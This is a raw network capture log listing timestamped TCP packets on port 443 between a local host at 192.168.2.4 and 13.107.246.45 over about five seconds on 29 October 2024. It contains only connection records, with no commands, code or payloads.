Oct 29, 2024 20:38:19.421081066 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.421103954 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.421550035 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.421555042 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.454653025 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.454735994 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.455049038 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.455446959 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.455478907 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.455653906 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.455665112 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.463778973 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.463824987 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.463901043 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.464240074 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.464253902 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.478913069 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.478950024 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.479008913 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.479069948 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.479243040 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.479266882 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.479278088 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.479285002 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.484592915 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.484635115 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.484991074 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.485249043 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.485261917 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.489101887 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.489237070 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.489571095 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.489839077 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.489856958 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.489869118 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.489873886 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.500566006 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.500678062 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.500752926 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.501101017 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.501142025 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.518443108 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.518517017 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.518593073 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.550977945 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.550998926 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.551004887 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.551011086 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.557706118 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.557779074 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.557965040 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.560142994 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.560185909 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.560276031 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.563425064 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.563435078 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.572242975 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.572273970 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.573420048 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.573527098 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.573674917 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.574295044 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.574335098 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.211615086 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.213152885 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.213182926 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.213599920 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.213606119 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.216588020 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.217011929 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.217036009 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.217681885 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.217686892 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.238799095 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.239409924 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.239440918 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:20.240395069 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:20.240401030 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.362859011 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.362878084 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.362925053 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.362977982 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.363066912 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.363174915 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.363183975 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.363240957 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.363248110 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.363378048 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.364288092 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.364430904 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.364480972 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.364535093 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.369820118 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.370312929 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.370371103 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.370421886 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.370421886 CET	49895	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.370429993 CET	49894	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.370448112 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.370450974 CET	443	49894	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.370460033 CET	443	49895	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.371380091 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.371413946 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.373285055 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.373308897 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.374104023 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.374118090 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.375381947 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.375389099 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.506871939 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.507894993 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.507973909 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.510176897 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.510351896 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.510442972 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.559442997 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.559485912 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.559658051 CET	49897	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.559670925 CET	443	49897	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.560103893 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.560103893 CET	49898	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.560204983 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.560239077 CET	443	49898	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.566107988 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.566124916 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.566188097 CET	49896	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.566205025 CET	443	49896	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.656866074 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.656910896 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.658176899 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.832214117 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.832237005 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.871901989 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.871977091 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.872323990 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.874690056 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.874741077 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.875149965 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.875473976 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.875494957 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.894197941 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.894217014 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.895351887 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.895379066 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.895548105 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.895620108 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.895627975 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.897453070 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.897497892 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:21.897551060 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.897885084 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:21.897910118 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.557367086 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.560236931 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.560256004 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.588809013 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.588820934 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.644929886 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.645705938 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.645884037 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.645916939 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.646823883 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.646830082 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.647388935 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.647403955 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.647845984 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.647851944 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.655174971 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.655675888 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.655692101 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.656075954 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.656081915 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.658889055 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.659276009 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.659286022 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.659667969 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.659672022 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.714396000 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.714484930 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.714553118 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.715115070 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.715115070 CET	49900	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.715137005 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.715148926 CET	443	49900	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.720423937 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.720473051 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.720575094 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.725778103 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.725796938 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.778307915 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.780119896 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.780180931 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.780312061 CET	49901	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.780333042 CET	443	49901	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.783782959 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.783823967 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.783900976 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.784358025 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.784370899 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.788022995 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.788094044 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.788345098 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.788345098 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.788518906 CET	49902	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.788539886 CET	443	49902	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791110039 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791121006 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791179895 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791189909 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791280985 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791333914 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791359901 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791371107 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791384935 CET	49904	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791389942 CET	443	49904	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791707993 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791718006 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.791748047 CET	49903	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.791753054 CET	443	49903	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.792089939 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.792140007 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.793992996 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794002056 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794023991 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.794086933 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794111967 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.794163942 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794178009 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.794243097 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794267893 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794269085 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794275045 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:22.794523954 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:22.794538021 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.228461981 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.228494883 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.228653908 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.229031086 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.229039907 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.470067978 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.470736027 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.470765114 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.471249104 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.471255064 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.533066988 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.533703089 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.533740044 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.534271955 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.534287930 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.537831068 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.538609982 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.538639069 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.539223909 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.539228916 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.541621923 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.542237043 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.542263031 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.542957067 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.542962074 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.600641012 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.601341009 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.601360083 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.602044106 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.602055073 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.603014946 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.603132010 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.603184938 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.603244066 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.603296995 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.603581905 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.603605986 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.603619099 CET	49905	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.603625059 CET	443	49905	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.607867002 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.607914925 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.608170986 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.608433962 CET	49911	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.608448029 CET	443	49911	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.662882090 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.662987947 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.663135052 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.663327932 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.663348913 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.663366079 CET	49906	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.663371086 CET	443	49906	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.666778088 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.666824102 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.666893959 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.667056084 CET	49912	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.667068005 CET	443	49912	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.668579102 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.668608904 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.668677092 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.668689966 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.668891907 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.668905020 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.668966055 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.669090986 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.669150114 CET	443	49909	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.669245958 CET	49909	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.671705008 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.671739101 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.672027111 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.672188044 CET	49913	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.672204018 CET	443	49913	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.679915905 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.679982901 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.680085897 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.680224895 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.680244923 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.680257082 CET	49907	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.680262089 CET	443	49907	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.682838917 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.682871103 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.683001995 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.683124065 CET	49914	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.683135986 CET	443	49914	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.732294083 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.732378006 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.732511997 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.732676029 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.732695103 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.732728004 CET	49908	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.732734919 CET	443	49908	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.735677004 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.735718966 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.736052036 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.736221075 CET	49915	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.736234903 CET	443	49915	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.979971886 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.985596895 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.985615015 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:23.986718893 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:23.986731052 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.112390041 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.112453938 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.112581968 CET	49910	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:24.112605095 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.112637043 CET	443	49910	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:24.114548922 CET	49910	443	192.168.2.4	13.107.246.45
